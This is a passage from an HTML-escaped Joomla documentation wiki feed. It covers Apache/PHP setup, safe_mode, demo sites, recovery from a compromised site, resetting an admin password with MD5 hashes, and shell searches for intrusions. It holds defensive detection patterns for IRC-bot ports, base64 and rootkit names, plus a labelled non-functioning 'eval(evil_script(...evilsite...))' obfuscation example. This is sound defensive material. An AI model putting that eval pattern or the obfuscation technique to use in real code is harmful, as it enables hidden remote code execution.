 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php4.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 2.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php4.c    &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;amp;quot;mod_php4.c&amp;amp;quot; or &amp;amp;quot;mod_php5.c&amp;amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;amp;quot;AddType&amp;amp;quot; section in the file, and add the following line after the last &amp;amp;quot;AddType&amp;amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;amp;quot;.php3&amp;amp;quot; and &amp;amp;quot;.phtml&amp;amp;quot;, simply add them to the list, like this:&amp;lt;&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as a CGI binary&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the&lt;br /&gt;
httpd.conf, but confirm that the above settings are not also&lt;br /&gt;
configured, unless you now what you are doing you can generate yourself&lt;br /&gt;
&amp;amp;quot;HTTP 500&amp;amp;quot; errors. Search your Apache configuration file for the&lt;br /&gt;
&amp;amp;quot;ScriptAlias&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;amp;quot;cgi-bin&amp;amp;quot;. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The location will depend on where PHP is installed on your system, you&lt;br /&gt;
should substitute the appropriate path in place of &amp;amp;quot;c:/php/&amp;amp;quot; (for&lt;br /&gt;
example, &amp;amp;quot;c:/Program Files/php/&amp;amp;quot;).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ScriptAlias /php/ &amp;amp;quot;c:/php/&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache&lt;br /&gt;
again needs to be configured for the PHP MIME type. Search for the&lt;br /&gt;
&amp;amp;quot;AddType&amp;amp;quot; section, and add the following line after it:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
As&lt;br /&gt;
in the case of running PHP as an Apache module, you can add whatever&lt;br /&gt;
extensions you want Apache to recognise as PHP scripts, such as:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Next,&lt;br /&gt;
you will need to tell the server to execute the PHP executable each&lt;br /&gt;
time it encounters a PHP script. Add the following below any existing&lt;br /&gt;
entries in the &amp;amp;quot;Action&amp;amp;quot; section.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Action application/x-httpd-php &amp;amp;quot;/php/php.exe&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
If&lt;br /&gt;
you notice, we have used the &amp;amp;quot;ScriptAlias&amp;amp;quot; reference, &amp;amp;quot;/php/&amp;amp;quot; portion&lt;br /&gt;
will be recognised as the scriptAlias configured above, this is sort a&lt;br /&gt;
path alias which will correlate to your PHP installation path&lt;br /&gt;
configured previously. &amp;lt;i&amp;gt;In other words, don&#039;t put &amp;amp;quot;c:/php/php.exe&amp;amp;quot;&lt;br /&gt;
or &amp;amp;quot;c:/Program Files/php/php.exe&amp;amp;quot; in that directive, put&lt;br /&gt;
&lt;br /&gt;
&amp;amp;quot;/php/php.exe&amp;amp;quot;, Apache WILL work it out if correctly configured.&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Configuring the Default Index Page&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module&lt;br /&gt;
or running it as a CGI binary, and has been seen often enough to&lt;br /&gt;
warrant a mention.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
If you want to make your PHP script execute&lt;br /&gt;
as the default page for a directory, you have to add another line to&lt;br /&gt;
the &amp;amp;quot;httpd.conf&amp;amp;quot;. Simply search for the line in the file that begins&lt;br /&gt;
with a &amp;amp;quot;DirectoryIndex&amp;amp;quot; and add &amp;amp;quot;index.php&amp;amp;quot; to the list of files on&lt;br /&gt;
that line. For example, if the line used to be:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;change it to&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.html index.php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you still wish .html files to be executed before .php files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.php index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you wish .php files to be executed before .html files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
The next time you access the site or a directory within a site without a&lt;br /&gt;
filename, Apache will &amp;amp;quot;auto-magically&amp;amp;quot; deliver &amp;amp;quot;index.php&amp;amp;quot; if&lt;br /&gt;
available, or &amp;amp;quot;index.html&amp;amp;quot; if &amp;amp;quot;index.php&amp;amp;quot; is not available.&lt;br /&gt;
&lt;br /&gt;
== Why shouldn&#039;t I use PHP safe_mode? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.&lt;br /&gt;
&lt;br /&gt;
The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.&lt;br /&gt;
&lt;br /&gt;
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;From the official PHP site&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&amp;quot;The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren&#039;t very realistic, many people, especially ISP&#039;s, use safe mode for now.&amp;quot;&#039;&#039; &lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]&lt;br /&gt;
&lt;br /&gt;
= Development =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How do I setup a secure demo site? ==&lt;br /&gt;
&lt;br /&gt;
In /includes/version.php look for:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 1;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 0;&lt;br /&gt;
&lt;br /&gt;
For a demo site it is advised to following:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 0;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 1;&lt;br /&gt;
&lt;br /&gt;
 $SITE = 0&lt;br /&gt;
 // Allows multiple user logins with only one account. By default Joomla! &lt;br /&gt;
 // allows only one active session per account as a security feature.&lt;br /&gt;
&lt;br /&gt;
 $RESTRICT = 1&lt;br /&gt;
 // Disables those logging in, both Front-end and Back-end from changing &lt;br /&gt;
 // user details - like password and username&lt;br /&gt;
&lt;br /&gt;
These settings are used on the official demo site http://demo.joomla.org&lt;br /&gt;
&lt;br /&gt;
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.&lt;br /&gt;
&lt;br /&gt;
== How can I view a live site while developing, but hide it from others? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Login to the administrator section, and choose: Site &amp;gt; Global Configuration.&lt;br /&gt;
&lt;br /&gt;
2. The first option you&#039;ll see is is to set the site offline. Choose &amp;quot;Yes&amp;quot; and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This site is down for maintenance. Please check back again soon. message instead.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
3. While you are logged into the &amp;quot;back end&amp;quot; administrator system, you can still view the &amp;quot;front end,&amp;quot; by choosing Site &amp;gt; Template &amp;gt; Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Site Recovery =&lt;br /&gt;
&lt;br /&gt;
== Help! My site&#039;s been compromised. Now what? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Change all relevant passwords:&#039;&#039;&#039; Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.&lt;br /&gt;
# &#039;&#039;&#039;Check raw logs:&#039;&#039;&#039; Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.&lt;br /&gt;
# &#039;&#039;&#039;List recently modified files:&#039;&#039;&#039; Before making any changes to your site, generate a list of recently modified files. Here&#039;s a php script that will list the files for you. Remove this script as soon as you have your list and don&#039;t publish a link to it!&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious newly-created files:&#039;&#039;&#039; Use this list to identify new files that don&#039;t belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious recently-modified files:&#039;&#039;&#039; Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Check for bogus CRON Jobs:&#039;&#039;&#039; Hacked cron jobs can be setup to reinfect your site over and over again.&lt;br /&gt;
# &#039;&#039;&#039;Coordinate with your host:&#039;&#039;&#039; If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.&lt;br /&gt;
# &#039;&#039;&#039;Delete the entire public_html directory:&#039;&#039;&#039; This is the best way to guarantee that every potential vulnerability in that site is removed.&lt;br /&gt;
# &#039;&#039;&#039;Delete related database records:&#039;&#039;&#039; This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.&lt;br /&gt;
# &#039;&#039;&#039;Reinstall everything:&#039;&#039;&#039; Use pre-crack backups. If you don&#039;t have good backups, go on to step 10.&lt;br /&gt;
# &#039;&#039;&#039;Reset critical passwords again:&#039;&#039;&#039; You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.&lt;br /&gt;
# &#039;&#039;&#039;Rebuild site:&#039;&#039;&#039; If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions&lt;br /&gt;
# &#039;&#039;&#039;Review security processes:&#039;&#039;&#039; Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.&lt;br /&gt;
# &#039;&#039;&#039;Review backup processes:&#039;&#039;&#039; If you don&#039;t already have one, add a dependable backup process to your site administration practices.&lt;br /&gt;
# &#039;&#039;&#039;Stay watchful:&#039;&#039;&#039; Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.&lt;br /&gt;
&lt;br /&gt;
==How do I reset an administrator password?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this &#039;&#039;&#039;([[How_do_you_recover_your_admin_password%3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x&#039;&#039;&#039;&lt;br /&gt;
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .&lt;br /&gt;
&lt;br /&gt;
2. Open the correct database and select the table, jos_users . (Change default table prefix, &#039;jos_&#039; to your table prefix if it is different.)&lt;br /&gt;
&lt;br /&gt;
3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)&lt;br /&gt;
&lt;br /&gt;
4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.&lt;br /&gt;
&#039;&#039;&#039;Warning:&#039;&#039;&#039; You must paste the password&#039;s hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.&lt;br /&gt;
&lt;br /&gt;
 password = &amp;quot;MD5 hash of password&amp;quot;&lt;br /&gt;
 ------------------------------------------------------&lt;br /&gt;
 admin = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
 OU812 = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&lt;br /&gt;
5. Save the user record.&lt;br /&gt;
&lt;br /&gt;
6. Point a browser to your site and log in using the Super Administrator account you just modified.&lt;br /&gt;
&lt;br /&gt;
7. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will &#039;salt&#039; your new password, thus adding an additional level of security on top of the MD5 hash.&lt;br /&gt;
&lt;br /&gt;
Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating your own MD5 hash from a password of your choice&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you&#039;ve generated a hash with these tools.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Online MD5 hash creation tools&#039;&#039;&#039;&lt;br /&gt;
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/&lt;br /&gt;
* MD5er - http://www.md5er.com/&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Free MD5 utilities for download&#039;&#039;&#039;&lt;br /&gt;
* MD5 &amp;amp; Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp&lt;br /&gt;
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other MD5 tools&#039;&#039;&#039;&lt;br /&gt;
* There are many free online and downloadable MD5 utilities. Google &amp;quot;MD5 hash tool&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== How do I find exploits using the *NIX shell? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the active processes&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;quot;ps&amp;quot; command to look for odd or unknown processes, if you aren&#039;t sure what to look for there, user &amp;quot;netstat -ae | grep irc&amp;quot; and/or &amp;quot;netstat -ea | grep 666&amp;quot; and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name &amp;quot;irc&amp;quot; listed against them, or may have &amp;quot;httpd&amp;quot; or sometimes other regular services names.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check crontab&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check for hidden files or directories&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check for hidden files or directories you dont expect to see, those starting with &amp;quot;.&amp;quot; (dots) and also look for &amp;quot;. &amp;quot; (dot, space) often favored to try and catch searches for hidden directories.&lt;br /&gt;
&lt;br /&gt;
Other examples of searches that may help pin down exploits and/or unexpected files and folders:&lt;br /&gt;
&lt;br /&gt;
 find /home -type f | xargs grep -l MultiViews&lt;br /&gt;
 find . -type f | xargs grep -l base64_encode &amp;lt;&amp;lt;&amp;lt; this can produce false positives, it is valid in many mail/graphics scripts&lt;br /&gt;
 find . -type f | xargs grep -l error_reporting&lt;br /&gt;
 find / -name &amp;quot;[Bb]itch[xX]&amp;quot;&lt;br /&gt;
 find / -name &amp;quot;psy*&amp;quot;&lt;br /&gt;
 ls -lR | grep rwxrwxrwx &amp;gt; listing.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What are these strange (URL-Encoded) characters doing in my code? ==&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes hide code away from prying eyes by URL Encoding it.&lt;br /&gt;
&lt;br /&gt;
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.&lt;br /&gt;
&lt;br /&gt;
However, if you find odd, URL-encoded text in your site&#039;s files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.&lt;br /&gt;
&lt;br /&gt;
Here are some trivial, non-functioning examples of URL Encoded text:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Original&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;URL Encoded&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;this line has spaces&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;this%20line%20has%20spaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;eval(evil_script(http://www.evilsite/?evilscript.pl&amp;quot;));&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;%65val%28%65%76il_%73cri%70t&lt;br /&gt;
%28%68tt%70%3A//%77%77%77.&lt;br /&gt;
%65%76il%73ite/%3F%65%76il%73&lt;br /&gt;
cript.%70l%22%29%29%3B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]&lt;br /&gt;
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Security_FAQ]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=User:Royce&amp;diff=59910</id>
		<title>User:Royce</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=User:Royce&amp;diff=59910"/>
		<updated>2011-06-26T21:42:20Z</updated>

		<summary type="html">&lt;p&gt;Royce: Created page with &amp;quot;I am working on migrating some sites that I maintain to Joomla.  My personal pages are [http://www.alaska.net/~royce/ here].&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I am working on migrating some sites that I maintain to Joomla.&lt;br /&gt;
&lt;br /&gt;
My personal pages are [http://www.alaska.net/~royce/ here].&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
</feed>